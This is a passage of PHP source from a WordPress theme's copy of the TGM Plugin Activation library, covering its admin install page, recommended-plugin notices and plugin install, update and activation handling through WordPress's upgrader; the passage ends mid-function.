
		/**
		 * Holds a copy of itself, so it can be referenced by the class name.
		 *
		 * @since 1.0.0
		 *
		 * @var TGM_Plugin_Activation
		 */
		public static $instance;

		/**
		 * Holds arrays of plugin details.
		 *
		 * @since 1.0.0
		 *
		 * @since 2.5.0 the array has the plugin slug as an associative key.
		 *
		 * @var array
		 */
		public $plugins = array();

		/**
		 * Holds arrays of plugin names to use to sort the plugins array.
		 *
		 * @since 2.5.0
		 *
		 * @var array
		 */
		protected $sort_order = array();

		/**
		 * Whether any plugins have the 'force_activation' setting set to true.
		 *
		 * @since 2.5.0
		 *
		 * @var bool
		 */
		protected $has_forced_activation = false;

		/**
		 * Whether any plugins have the 'force_deactivation' setting set to true.
		 *
		 * @since 2.5.0
		 *
		 * @var bool
		 */
		protected $has_forced_deactivation = false;

		/**
		 * Name of the unique ID to hash notices.
		 *
		 * @since 2.4.0
		 *
		 * @var string
		 */
		public $id = 'tgmpa';

		/**
		 * Name of the query-string argument for the admin page.
		 *
		 * @since 1.0.0
		 *
		 * @var string
		 */
		public $menu = 'tgmpa-install-plugins';

		/**
		 * Parent menu file slug.
		 *
		 * @since 2.5.0
		 *
		 * @var string
		 */
		public $parent_slug = 'themes.php';

		/**
		 * Capability needed to view the plugin installation menu item.
		 *
		 * @since 2.5.0
		 *
		 * @var string
		 */
		public $capability = 'edit_theme_options';

		/**
		 * Default absolute path to folder containing pre-packaged plugin zip files.
		 *
		 * @since 2.0.0
		 *
		 * @var string Absolute path prefix to packaged zip file location. Default is empty string.
		 */
		public $default_path = '';

		/**
		 * Flag to show admin notices or not.
		 *
		 * @since 2.1.0
		 *
		 * @var boolean
		 */
		public $has_notices = true;

		/**
		 * Flag to determine if the user can dismiss the notice nag.
		 *
		 * @since 2.4.0
		 *
		 * @var boolean
		 */
		public $dismissable = true;

		/**
		 * Message to be output above nag notice if dismissable is false.
		 *
		 * @since 2.4.0
		 *
		 * @var string
		 */
		public $dismiss_msg = '';

		/**
		 * Flag to set automatic activation of plugins. Off by default.
		 *
		 * @since 2.2.0
		 *
		 * @var boolean
		 */
		public $is_automatic = false;

		/**
		 * Optional message to display before the plugins table.
		 *
		 * @since 2.2.0
		 *
		 * @var string Message filtered by wp_kses_post(). Default is empty string.
		 */
		public $message = '';

		/**
		 * Holds configurable array of strings.
		 *
		 * Default values are added in the constructor.
		 *
		 * @since 2.0.0
		 *
		 * @var array
		 */
		public $strings = array();

		/**
		 * Holds the version of WordPress.
		 *
		 * @since 2.4.0
		 *
		 * @var int
		 */
		public $wp_version;

		/**
		 * Holds the hook name for the admin page.
		 *
		 * @since 2.5.0
		 *
		 * @var string
		 */
		public $page_hook;

		/**
		 * Adds a reference of this object to $instance, populates default strings,
		 * does the tgmpa_init action hook, and hooks in the interactions to init.
		 *
		 * @since 1.0.0
		 *
		 * @see TGM_Plugin_Activation::init()
		 */
		protected function __construct() {

			// Set the current WordPress version.
			$this->wp_version = $GLOBALS['wp_version'];

			// Announce that the class is ready, and pass the object (for advanced use).
			do_action_ref_array( 'tgmpa_init', array( $this ) );

			// When the rest of WP has loaded, kick-start the rest of the class.
			add_action( 'init', array( $this, 'init' ) );

		}

		/**
		 * Initialise the interactions between this class and WordPress.
		 *
		 * Hooks in three new methods for the class: admin_menu, notices and styles.
		 *
		 * @since 2.0.0
		 *
		 * @see TGM_Plugin_Activation::admin_menu()
		 * @see TGM_Plugin_Activation::notices()
		 * @see TGM_Plugin_Activation::styles()
		 */
		public function init() {

			/**
			 * By default TGMPA only loads on the WP back-end. Using this filter you can overrule that behaviour.
			 *
			 * @param bool $load Whether or not TGMPA should load. Defaults to the return of `is_admin()`.
			 *
			 * @since 2.5.0
			 *
			 */
			if ( true !== apply_filters( 'tgmpa_load', is_admin() ) ) {
				return;
			}

			// Load class strings.
			$this->strings = array(
				'page_title'                      => esc_html__( 'Install Required Plugins', 'tgmpa' ),
				'menu_title'                      => esc_html__( 'Install Plugins', 'tgmpa' ),
				'installing'                      => esc_html__( 'Installing Plugin: %s', 'tgmpa' ),
				'oops'                            => esc_html__( 'Something went wrong with the plugin API.', 'tgmpa' ),
				'notice_can_install_required'     => _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.', 'tgmpa' ),
				'notice_can_install_recommended'  => _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.', 'tgmpa' ),
				'notice_cannot_install'           => _n_noop( 'Sorry, but you do not have the correct permissions to install the %1$s plugin.', 'Sorry, but you do not have the correct permissions to install the %1$s plugins.', 'tgmpa' ),
				'notice_ask_to_update'            => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.', 'tgmpa' ),
				'notice_ask_to_update_maybe'      => _n_noop( 'There is an update available for: %1$s.', 'There are updates available for the following plugins: %1$s.', 'tgmpa' ),
				'notice_cannot_update'            => _n_noop( 'Sorry, but you do not have the correct permissions to update the %1$s plugin.', 'Sorry, but you do not have the correct permissions to update the %1$s plugins.', 'tgmpa' ),
				'notice_can_activate_required'    => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'tgmpa' ),
				'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.', 'tgmpa' ),
				'notice_cannot_activate'          => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %1$s plugin.', 'Sorry, but you do not have the correct permissions to activate the %1$s plugins.', 'tgmpa' ),
				'install_link'                    => _n_noop( 'Begin installing plugin', 'Begin installing plugins', 'tgmpa' ),
				'update_link'                     => _n_noop( 'Begin updating plugin', 'Begin updating plugins', 'tgmpa' ),
				'activate_link'                   => _n_noop( 'Begin activating plugin', 'Begin activating plugins', 'tgmpa' ),

				'return'                      => esc_html__( 'Return to Required Plugins Installer', 'tgmpa' ),
				'dashboard'                   => esc_html__( 'Return to the dashboard', 'tgmpa' ),
				'plugin_activated'            => esc_html__( 'Plugin activated successfully.', 'tgmpa' ),
				'activated_successfully'      => esc_html__( 'The following plugin was activated successfully:', 'tgmpa' ),
				'plugin_already_active'       => esc_html__( 'No action taken. Plugin %1$s was already active.', 'tgmpa' ),
				'plugin_needs_higher_version' => esc_html__( 'Plugin not activated. A higher version of %s is needed for this theme. Please update the plugin.', 'tgmpa' ),
				'complete'                    => esc_html__( 'All plugins installed and activated successfully. %1$s', 'tgmpa' ),
				'dismiss'                     => esc_html__( 'Dismiss this notice', 'tgmpa' ),
				'contact_admin'               => esc_html__( 'Please contact the administrator of this site for help.', 'tgmpa' ),
			);

			do_action( 'tgmpa_register' );

			/* After this point, the plugins should be registered and the configuration set. */

			// Proceed only if we have plugins to handle.
			if ( empty( $this->plugins ) || ! is_array( $this->plugins ) ) {
				return;
			}

			// Set up the menu and notices if we still have outstanding actions.
			if ( true !== $this->is_tgmpa_complete() ) {
				// Sort the plugins.
				array_multisort( $this->sort_order, SORT_ASC, $this->plugins );

				add_action( 'admin_menu', array( $this, 'admin_menu' ) );
				add_action( 'admin_head', array( $this, 'dismiss' ) );

				// Prevent the normal links from showing underneath an single install/update page.
				add_filter( 'install_plugin_complete_actions', array( $this, 'actions' ) );
				add_filter( 'update_plugin_complete_actions', array( $this, 'actions' ) );

				if ( $this->has_notices ) {
					add_action( 'admin_notices', array( $this, 'notices' ) );
					add_action( 'admin_init', array( $this, 'admin_init' ), 1 );
					add_action( 'admin_enqueue_scripts', array( $this, 'thickbox' ) );
				}

				$this->add_plugin_action_link_filters();

			}

			// Make sure things get reset on switch theme.
			add_action( 'switch_theme', array( $this, 'flush_plugins_cache' ) );

			if ( $this->has_notices ) {
				add_action( 'switch_theme', array( $this, 'update_dismiss' ) );
			}

			// Setup the force activation hook.
			if ( true === $this->has_forced_activation ) {
				add_action( 'admin_init', array( $this, 'force_activation' ) );
			}

			// Setup the force deactivation hook.
			if ( true === $this->has_forced_deactivation ) {
				add_action( 'switch_theme', array( $this, 'force_deactivation' ) );
			}

		}

		/**
		 * Prevent activation of plugins which don't meet the minimum version requirement from the
		 * WP native plugins page.
		 *
		 * @since 2.5.0
		 */
		public function add_plugin_action_link_filters() {
			foreach ( $this->plugins as $slug => $plugin ) {
				if ( false === $this->can_plugin_activate( $slug ) ) {
					add_filter( 'plugin_action_links_' . $plugin['file_path'], array(
						$this,
						'filter_plugin_action_links_activate'
					), 20 );
				}

				if ( true === $plugin['force_activation'] ) {
					add_filter( 'plugin_action_links_' . $plugin['file_path'], array(
						$this,
						'filter_plugin_action_links_deactivate'
					), 20 );
				}

				if ( false !== $this->does_plugin_require_update( $slug ) ) {
					add_filter( 'plugin_action_links_' . $plugin['file_path'], array(
						$this,
						'filter_plugin_action_links_update'
					), 20 );
				}
			}
		}

		/**
		 * Remove the 'Activate' link on the WP native plugins page if the plugin does not meet the
		 * minimum version requirements.
		 *
		 * @param array $actions Action links.
		 *
		 * @return array
		 * @since 2.5.0
		 *
		 */
		public function filter_plugin_action_links_activate( $actions ) {
			unset( $actions['activate'] );

			return $actions;
		}

		/**
		 * Remove the 'Deactivate' link on the WP native plugins page if the plugin has been set to force activate.
		 *
		 * @param array $actions Action links.
		 *
		 * @return array
		 * @since 2.5.0
		 *
		 */
		public function filter_plugin_action_links_deactivate( $actions ) {
			unset( $actions['deactivate'] );

			return $actions;
		}

		/**
		 * Add a 'Requires update' link on the WP native plugins page if the plugin does not meet the
		 * minimum version requirements.
		 *
		 * @param array $actions Action links.
		 *
		 * @return array
		 * @since 2.5.0
		 *
		 */
		public function filter_plugin_action_links_update( $actions ) {
			$actions['update'] = sprintf( '<a href="%1$s" title="%2$s" class="edit">%3$s</a>', esc_url( $this->get_tgmpa_status_url( 'update' ) ), esc_attr__( 'This plugin needs to be updated to be compatible with your theme.', 'tgmpa' ), esc_html__( 'Update Required', 'tgmpa' ) );

			return $actions;
		}

		/**
		 * Handles calls to show plugin information via links in the notices.
		 *
		 * We get the links in the admin notices to point to the TGMPA page, rather
		 * than the typical plugin-install.php file, so we can prepare everything
		 * beforehand.
		 *
		 * WP does not make it easy to show the plugin information in the thickbox -
		 * here we have to require a file that includes a function that does the
		 * main work of displaying it, enqueue some styles, set up some globals and
		 * finally call that function before exiting.
		 *
		 * Down right easy once you know how...
		 *
		 * Returns early if not the TGMPA page.
		 *
		 * @return null Returns early if not the TGMPA page.
		 * @global string $tab Used as iframe div class names, helps with styling
		 * @global string $body_id Used as the iframe body ID, helps with styling
		 *
		 * @since 2.1.0
		 *
		 */
		public function admin_init() {

			if ( ! $this->is_tgmpa_page() ) {
				return;
			}

			if ( isset( $_REQUEST['tab'] ) && 'plugin-information' === $_REQUEST['tab'] ) {
				// Needed for install_plugin_information().
				require_once ABSPATH . 'wp-admin/includes/plugin-install.php';

				wp_enqueue_style( 'plugin-install' );

				global $tab, $body_id;
				$body_id = 'plugin-information';
				// @codingStandardsIgnoreStart
				$tab = 'plugin-information';
				// @codingStandardsIgnoreEnd

				install_plugin_information();

				exit;
			}

		}

		/**
		 * Enqueue thickbox scripts/styles for plugin info.
		 *
		 * Thickbox is not automatically included on all admin pages, so we must
		 * manually enqueue it for those pages.
		 *
		 * Thickbox is only loaded if the user has not dismissed the admin
		 * notice or if there are any plugins left to install and activate.
		 *
		 * @since 2.1.0
		 */
		public function thickbox() {

			if ( ! get_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, true ) ) {
				add_thickbox();
			}

		}

		/**
		 * Adds submenu page if there are plugin actions to take.
		 *
		 * This method adds the submenu page letting users know that a required
		 * plugin needs to be installed.
		 *
		 * This page disappears once the plugin has been installed and activated.
		 *
		 * @since 1.0.0
		 *
		 * @see TGM_Plugin_Activation::init()
		 * @see TGM_Plugin_Activation::install_plugins_page()
		 */
		public function admin_menu() {

			// Make sure privileges are correct to see the page.
			if ( ! current_user_can( 'install_plugins' ) ) {
				return;
			}

			$args = apply_filters( 'tgmpa_admin_menu_args', array(
				'parent_slug' => $this->parent_slug,                     // Parent Menu slug.
				'page_title'  => $this->strings['page_title'],           // Page title.
				'menu_title'  => $this->strings['menu_title'],           // Menu title.
				'capability'  => $this->capability,                      // Capability.
				'menu_slug'   => $this->menu,                            // Menu slug.
				'function'    => array( $this, 'install_plugins_page' ), // Callback.
			) );

			$this->add_admin_menu( $args );

		}

		/**
		 * Add the menu item.
		 *
		 * @param array $args Menu item configuration.
		 *
		 * @since 2.5.0
		 *
		 */
		protected function add_admin_menu( array $args ) {
			if ( has_filter( 'tgmpa_admin_menu_use_add_theme_page' ) ) {
				_deprecated_function( 'The "tgmpa_admin_menu_use_add_theme_page" filter', '2.5.0', esc_html__( 'Set the parent_slug config variable instead.', 'tgmpa' ) );
			}

			if ( 'themes.php' === $this->parent_slug ) {
				$this->page_hook = call_user_func( 'add_theme_page', $args['page_title'], $args['menu_title'], $args['capability'], $args['menu_slug'], $args['function'] );

			} else {
				$this->page_hook = call_user_func( 'add_submenu_page', $args['parent_slug'], $args['page_title'], $args['menu_title'], $args['capability'], $args['menu_slug'], $args['function'] );
			}

			add_submenu_page( 'soledad_dashboard_welcome', esc_html__( 'Install Plugins', 'soledad' ), esc_html__( 'Install Plugins', 'soledad' ), 'manage_options', $this->menu, [
				$this,
				'install_plugins_page'
			], 3 );
		}

		/**
		 * Echoes plugin installation form.
		 *
		 * This method is the callback for the admin_menu method function.
		 * This displays the admin page and form area where the user can select to install and activate the plugin.
		 * Aborts early if we're processing a plugin installation action.
		 *
		 * @return null Aborts early if we're processing a plugin installation action.
		 * @since 1.0.0
		 *
		 */
		public function install_plugins_page() {

			// Store new instance of plugin table in object.
			$plugin_table = new Soledad_DashPluginsTable();

			// Return early if processing a plugin installation action.
			if ( ( ( 'tgmpa-bulk-install' === $plugin_table->current_action() || 'tgmpa-bulk-update' === $plugin_table->current_action() ) && $plugin_table->process_bulk_actions() ) || $this->do_plugin_install() ) {
				return;
			}

			// Force refresh of available plugin information so we'll know about manual updates/deletes.
			wp_clean_plugins_cache( false );

			?>
            <div class="tgmpa wrap">
                <h2><?php echo esc_html( get_admin_page_title() ); ?></h2>
				<?php $plugin_table->prepare_items(); ?>

				<?php
				if ( ! empty( $this->message ) && is_string( $this->message ) ) {
					echo wp_kses_post( $this->message );
				}
				$penci_note = isset( $_GET['penci-dismis'] ) ? $_GET['penci-dismis'] : '';
				if ( 'penci_dismiss_notices' == $penci_note ) {
					if ( ! get_option( 'penci_dismiss_notices' ) ) {
						add_option( 'penci_dismiss_notices', 'yes' );
					}
					update_option( 'penci_dismiss_notices', 'yes' );
				} else if ( 'penci_dismiss_notices_show' == $penci_note ) {
					if ( ! get_option( 'penci_dismiss_notices' ) ) {
						add_option( 'penci_dismiss_notices', 'no' );
					}
					update_option( 'penci_dismiss_notices', 'no' );
				}
				$penci_dismis_notes = get_option( 'penci_dismiss_notices', '' );
				?>
				<?php if ( 'yes' != $penci_dismis_notes ): ?>
                    <style>.dis-missnote p {
                            font-size: 16px;
                        }
                        .penci-plugins-notice {
                            padding: 0 20px 0px;
                            border: 1px solid #cccccc;
                            margin-bottom: 20px;
                        }
                        .penci-notice-head {
                            display: inline-block;
                            background: #02CA02;
                            padding: 0 5px;
                            color: #fff;
                            font-weight: 500;
                        }</style>
                    <div class="penci-plugins-notice">
                        <h3 style="font-size: 20px; line-height: 1.3;"><?php _e( 'Please be aware that this theme does not require any specific plugins to function properly. You can choose which plugins you want to use and activate them according to your needs and preferences.<br>
                         For regular websites, you only need to install two plugins: "Penci Shortcodes & Performance" and "Elementor".<br>Please note that all other plugins are optional add-ons that provide additional features and functionalities to your website. Below you can find more details about the features of each plugin:', 'tgmpa' ); ?></h3>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Penci Shortcodes & Performance:</span> <?php esc_html_e( 'You should activate this plugin. It provides some shortcodes inside the editor & language shortcodes to help you build a multiple language website. You also need this plugin to optimize your site speed.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Vafpress Post Formats UI:</span> <?php esc_html_e( 'It is a plugin to help you can create different post formats: video, gallery, links, quote..', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Elementor Page Builder:</span> <?php esc_html_e( 'A page builder - helps you can build your pages with multiple customization options.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Penci Recipe:</span> <?php esc_html_e( 'A plugin to help you can create Food Recipes.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Penci Review:</span> <?php esc_html_e( 'A plugin to help you can create reviews for your posts.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Penci Soledad Demo Importer:</span> <?php esc_html_e( 'A plugin to help you can import any demo from our demos. After the installed demo, you can deactivate & delete it if you want.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">Contact Form 7:</span> <?php esc_html_e( 'A plugin to help you create Contact Forms.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">MailChimp for WordPress:</span> <?php esc_html_e( 'Allowing your visitors to subscribe to your newsletter should be easy. With this plugin, it finally is. This plugin helps you grow your Mailchimp lists and write better newsletters through various methods.', 'tgmpa' ); ?>
                        </p>
                        <p class="penci-dplugins"><span
                                    class="penci-notice-head">HubSpot - All-in-One Marketing:</span> <?php esc_html_e( 'Capture, organize and engage web visitors with free live chat, forms, CRM (contact management), email marketing, and analytics.', 'tgmpa' ); ?>
                        </p>
                        <div class="dis-missnote">
                            <p><?php esc_html_e( 'Understand it?', 'tgmpa' ); ?> <a
                                        href="?page=tgmpa-install-plugins&penci-dismis=penci_dismiss_notices"><?php esc_html_e( 'Click here to hide this note.', 'tgmpa' ); ?></a>
                            </p>
                        </div>
                    </div>
				<?php endif; ?>

				<?php $plugin_table->views(); ?>

                <form id="tgmpa-plugins" action="" method="post">
                    <input type="hidden" name="tgmpa-page" value="<?php echo esc_attr( $this->menu ); ?>"/>
                    <input type="hidden" name="plugin_status"
                           value="<?php echo esc_attr( $plugin_table->view_context ); ?>"/>
					<?php $plugin_table->display(); ?>
                </form>

				<?php do_action( 'tgmpa_after_install_plugins_page', $this ); ?>

                <br/>
                <br/>

                <hr/>
                <h3><?php esc_html_e( 'Tested & Compatible Plugins', 'soledad' ); ?></h3>
				<?php

				add_thickbox();
				wp_enqueue_script( 'plugin-install' );
				wp_enqueue_script( 'updates' );

				$tested_plugins = array(
					'woocommerce'            => array(
						'name' => 'WooCommerce',
						'desc' => 'WooCommerce is a free eCommerce plugin that allows you to sell anything, beautifully. Built to integrate seamlessly with WordPress, WooCommerce is the world’s favorite eCommerce solution that gives both store owners and developers complete control.',
					),
					'invoicing'              => array(
						'name' => 'GetPaid',
						'desc' => 'Payment forms, Buy now buttons and Invoicing System - Lightweight, extensible and very easy to use Online Payments and Invoicing plugin.',
					),
					'seo-by-rank-math'       => array(
						'name' => 'RankMath',
						'desc' => 'Rank Math SEO is the Best WordPress SEO plugin combines the features of many SEO tools in a single package & helps you multiply your SEO traffic.'
					),
					'web-stories'            => array(
						'name' => 'Google Web Stories',
						'desc' => 'A plugin from Google for WordPress. Web Stories are a free, open-web, visual storytelling format for the web, enabling you to easily create visual narratives with engaging animations and tappable interactions, and immerse your readers in great and fast-loading full-screen experiences.',
					),
					'wordpress-seo'          => array(
						'name' => 'Yoast SEO',
						'desc' => 'Improve your WordPress SEO: Write better content and have a fully optimized WordPress site using the Yoast SEO plugin.'
					),
					'co-authors-plus'        => array(
						'name' => 'Co-Authors Plus',
						'desc' => 'Assign multiple bylines to posts, pages, and custom post types via a search-as-you-type input box.'
					),
					'w3-total-cache'         => array(
						'name' => 'W3 Total Cache',
						'desc' => 'A Caching Plugin for Performance Optimization. Integrated caching: CDN, Page Caching, Object, Fragment, Database support.'
					),
					'wpforms-lite'           => array(
						'name' => 'WPForms',
						'desc' => 'A plugin allows you to create contact forms, feedback form, subscription forms, payment forms, and other types of forms. It is more extensive than "Contact Form 7" plugin above. If you just need to create Contact Forms, you can use plugin "Contact Form 7" only.'
					),
					'buddypress'             => array(
						'name' => 'BuddyPress',
						'desc' => 'BuddyPress helps site builders & developers add community features to their websites, with user profiles, activity streams, and more!'
					),
					'bbpress'                => array(
						'name' => 'bbPress',
						'desc' => 'bbPress is forum software for WordPress.',
					),
					'advanced-custom-fields' => array(
						'name' => 'Advanced Custom Fields',
						'desc' => 'Advanced Custom Fields turns WordPress sites into a fully-fledged content management system by giving you all the tools to do more with your data.'
					),
				)
				?>

                <table id="recommended-plugins" class="widefat importers striped">
                    <tbody>
					<?php
					foreach ( $tested_plugins as $plugin_slug => $plugin ) {

						$url = add_query_arg( array(
							'tab'       => 'plugin-information',
							'plugin'    => $plugin_slug,
							'from'      => 'import',
							'TB_iframe' => 'true',
							'width'     => 600,
							'height'    => 550,
						), network_admin_url( 'plugin-install.php' ) );
						?>
                        <tr class="importer-item">
                            <td class="plugin-name">
                                <span class="importer-title"><a href="<?php echo esc_url( $url ) ?>"
                                                                class="thickbox open-plugin-details-modal"><?php echo esc_html( $plugin['name'] ); ?></a></span>
                            </td>
                            <td class="plugin-desc">
								<?php echo $plugin['desc'] ?>
                            </td>
                        </tr>
						<?php
					}
					?>
                    </tbody>
                </table>
            </div>
			<?php

		}

		/**
		 * Installs, updates or activates a plugin depending on the action link clicked by the user.
		 *
		 * Checks the $_GET variable to see which actions have been
		 * passed and responds with the appropriate method.
		 *
		 * Uses WP_Filesystem to process and handle the plugin installation
		 * method.
		 *
		 * @return boolean True on success, false on failure.
		 * @uses WP_Filesystem
		 * @uses WP_Error
		 * @uses WP_Upgrader
		 * @uses Plugin_Upgrader
		 * @uses Plugin_Installer_Skin
		 * @uses Plugin_Upgrader_Skin
		 *
		 * @since 1.0.0
		 *
		 */
		protected function do_plugin_install() {

			if ( empty( $_GET['plugin'] ) ) {
				return false;
			}

			// All plugin information will be stored in an array for processing.
			$slug = $this->sanitize_key( urldecode( $_GET['plugin'] ) );

			if ( ! isset( $this->plugins[ $slug ] ) ) {
				return false;
			}

			// Was an install or upgrade action link clicked?
			if ( ( isset( $_GET['tgmpa-install'] ) && 'install-plugin' === $_GET['tgmpa-install'] ) || ( isset( $_GET['tgmpa-update'] ) && 'update-plugin' === $_GET['tgmpa-update'] ) ) {

				$install_type = 'install';
				if ( isset( $_GET['tgmpa-update'] ) && 'update-plugin' === $_GET['tgmpa-update'] ) {
					$install_type = 'update';
				}

				check_admin_referer( 'tgmpa-' . $install_type, 'tgmpa-nonce' );

				// Pass necessary information via URL if WP_Filesystem is needed.
				$url = wp_nonce_url( add_query_arg( array(
					'plugin'                 => urlencode( $slug ),
					'tgmpa-' . $install_type => $install_type . '-plugin',
				), $this->get_tgmpa_url() ), 'tgmpa-' . $install_type, 'tgmpa-nonce' );

				$method = ''; // Leave blank so WP_Filesystem can populate it as necessary.

				if ( false === ( $creds = request_filesystem_credentials( esc_url_raw( $url ), $method, false, false, array() ) ) ) {
					return true;
				}

				if ( ! WP_Filesystem( $creds ) ) {
					request_filesystem_credentials( esc_url_raw( $url ), $method, true, false, array() ); // Setup WP_Filesystem.

					return true;
				}

				/* If we arrive here, we have the filesystem. */

				// Prep variables for Plugin_Installer_Skin class.
				$extra         = array();
				$extra['slug'] = $slug; // Needed for potentially renaming of directory name.
				$source        = $this->get_download_url( $slug );
				$api           = ( 'repo' === $this->plugins[ $slug ]['source_type'] ) ? $this->get_plugins_api( $slug ) : null;
				$api           = ( false !== $api ) ? $api : null;

				$url = add_query_arg( array(
					'action' => $install_type . '-plugin',
					'plugin' => urlencode( $slug )
				), 'update.php' );

				if ( ! class_exists( 'Plugin_Upgrader', false ) ) {
					require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
				}

				$skin_args = array(
					'type'   => ( 'bundled' !== $this->plugins[ $slug ]['source_type'] ) ? 'web' : 'upload',
					'title'  => sprintf( $this->strings['installing'], $this->plugins[ $slug ]['name'] ),
					'url'    => esc_url_raw( $url ),
					'nonce'  => $install_type . '-plugin_' . $slug,
					'plugin' => '',
					'api'    => $api,
					'extra'  => $extra,
				);

				if ( 'update' === $install_type ) {
					$skin_args['plugin'] = $this->plugins[ $slug ]['file_path'];
					$skin                = new Plugin_Upgrader_Skin( $skin_args );

				} else {
					$skin = new Plugin_Installer_Skin( $skin_args );
				}

				// Create a new instance of Plugin_Upgrader.
				$upgrader = new Plugin_Upgrader( $skin );

				// Perform the action and install the plugin from the $source urldecode().
				add_filter( 'upgrader_source_selection', array( $this, 'maybe_adjust_source_dir' ), 1, 3 );

				if ( 'update' === $install_type ) {
					// Inject our info into the update transient.
					$to_inject                    = array( $slug => $this->plugins[ $slug ] );
					$to_inject[ $slug ]['source'] = $source;
					$this->inject_update_info( $to_inject );

					$upgrader->upgrade( $this->plugins[ $slug ]['file_path'] );

				} else {
					$upgrader->install( $source );
				}

				remove_filter( 'upgrader_source_selection', array( $this, 'maybe_adjust_source_dir' ), 1, 3 );

				// Make sure we have the correct file path now the plugin is installed/updated.
				$this->populate_file_path( $slug );

				// Only activate plugins if the config option is set to true and the plugin isn't
				// already active (upgrade).
				if ( $this->is_automatic && ! $this->is_plugin_active( $slug ) ) {
					$plugin_activate = $upgrader->plugin_info(); // Grab the plugin info from the Plugin_Upgrader method.
					if ( false === $this->activate_single_plugin( $plugin_activate, $slug, true ) ) {
						return true; // Finish execution of the function early as we encountered an error.
					}
				}

				$this->show_tgmpa_version();

				// Display message based on if all plugins are now active or not.
				if ( $this->is_tgmpa_complete() ) {
					echo '<p>', sprintf( esc_html( $this->strings['complete'] ), '<a href="' . esc_url( self_admin_url() ) . '">' . esc_html__( 'Return to the Dashboard', 'tgmpa' ) . '</a>' ), '</p>';
					echo '<style type="text/css">#adminmenu .wp-submenu li.current { display: none !important; }</style>';

				} else {
					echo '<p><a href="', esc_url( $this->get_tgmpa_url() ), '" target="_parent">', esc_html( $this->strings['return'] ), '</a></p>';
				}

				return true;

			} elseif ( isset( $this->plugins[ $slug ]['file_path'], $_GET['tgmpa-activate'] ) && 'activate-plugin' === $_GET['tgmpa-activate'] ) {
				// Activate action link was clicked.
				check_admin_referer( 'tgmpa-activate', 'tgmpa-nonce' );

				if ( false === $this->activate_single_plugin( $this->plugins[ $slug ]['file_path'], $slug ) ) {
					return true; // Finish execution of the function early as we encountered an error.
				}
			}

			return false;

		}

		/**
		 * Inject information into the 'update_plugins' site transient as WP checks that before running an update.
		 *
		 * @param array $plugins The plugin information for the plugins which are to be updated.
		 *
		 * @since 2.5.0
		 *
		 */
		public function inject_update_info( $plugins ) {

			$repo_updates = get_site_transient( 'update_plugins' );

			if ( ! is_object( $repo_updates ) ) {
				$repo_updates = new stdClass;
			}

			foreach ( $plugins as $slug => $plugin ) {

				$file_path = $plugin['file_path'];

				if ( empty( $repo_updates->response[ $file_path ] ) ) {
					$repo_updates->response[ $file_path ] = new stdClass;
				}

				// We only really need to set package, but let's do all we can in case WP changes something.
				$repo_updates->response[ $file_path ]->slug        = $slug;
				$repo_updates->response[ $file_path ]->plugin      = $file_path;
				$repo_updates->response[ $file_path ]->new_version = $plugin['version'];
				$repo_updates->response[ $file_path ]->package     = $plugin['source'];
				if ( empty( $repo_updates->response[ $file_path ]->url ) && ! empty( $plugin['external_url'] ) ) {
					$repo_updates->response[ $file_path ]->url = $plugin['external_url'];
				}
			}

			set_site_transient( 'update_plugins', $repo_updates );
		}

		/**
		 * Adjust the plugin directory name if necessary.
		 *
		 * The final destination directory of a plugin is based on the subdirectory name found in the
		 * (un)zipped source. In some cases - most notably GitHub repository plugin downloads -, this
		 * subdirectory name is not the same as the expected slug and the plugin will not be recognized
		 * as installed. This is fixed by adjusting the temporary unzipped source subdirectory name to
		 * the expected plugin slug.
		 *
		 * @param string $source Path to upgrade/zip-file-name.tmp/subdirectory/.
		 * @param string $remote_source Path to upgrade/zip-file-name.tmp.
		 * @param \WP_Upgrader $upgrader Instance of the upgrader which installs the plugin.
		 *
		 * @return string $source
		 * @since 2.5.0
		 *
		 */
		public function maybe_adjust_source_dir( $source, $remote_source, $upgrader ) {

			if ( ! $this->is_tgmpa_page() || ! is_object( $GLOBALS['wp_filesystem'] ) ) {
				return $source;
			}

			// Check for single file plugins.
			$source_files = array_keys( $GLOBALS['wp_filesystem']->dirlist( $remote_source ) );
			if ( 1 === count( $source_files ) && false === $GLOBALS['wp_filesystem']->is_dir( $source ) ) {

				return $source;
			}

			// Multi-file plugin, let's see if the directory is correctly named.
			$desired_slug = '';

			// Figure out what the slug is supposed to be.
			if ( false === $upgrader->bulk && ! empty ( $upgrader->skin->options['extra']['slug'] ) ) {
				$desired_slug = $upgrader->skin->options['extra']['slug'];
			} else {
				// Bulk installer contains less info, so fall back on the info registered here.
				foreach ( $this->plugins as $slug => $plugin ) {
					if ( ! empty( $upgrader->skin->plugin_names[ $upgrader->skin->i ] ) && $plugin['name'] === $upgrader->skin->plugin_names[ $upgrader->skin->i ] ) {
						$desired_slug = $slug;
						break;
					}
				}
				unset( $slug, $plugin );
			}

			if ( ! empty( $desired_slug ) ) {
				$subdir_name = untrailingslashit( str_replace( trailingslashit( $remote_source ), '', $source ) );

				if ( ! empty( $subdir_name ) && $subdir_name !== $desired_slug ) {
					$from = untrailingslashit( $source );
					$to   = trailingslashit( $remote_source ) . $desired_slug;

					if ( true === $GLOBALS['wp_filesystem']->move( $from, $to ) ) {
						return trailingslashit( $to );

					} else {
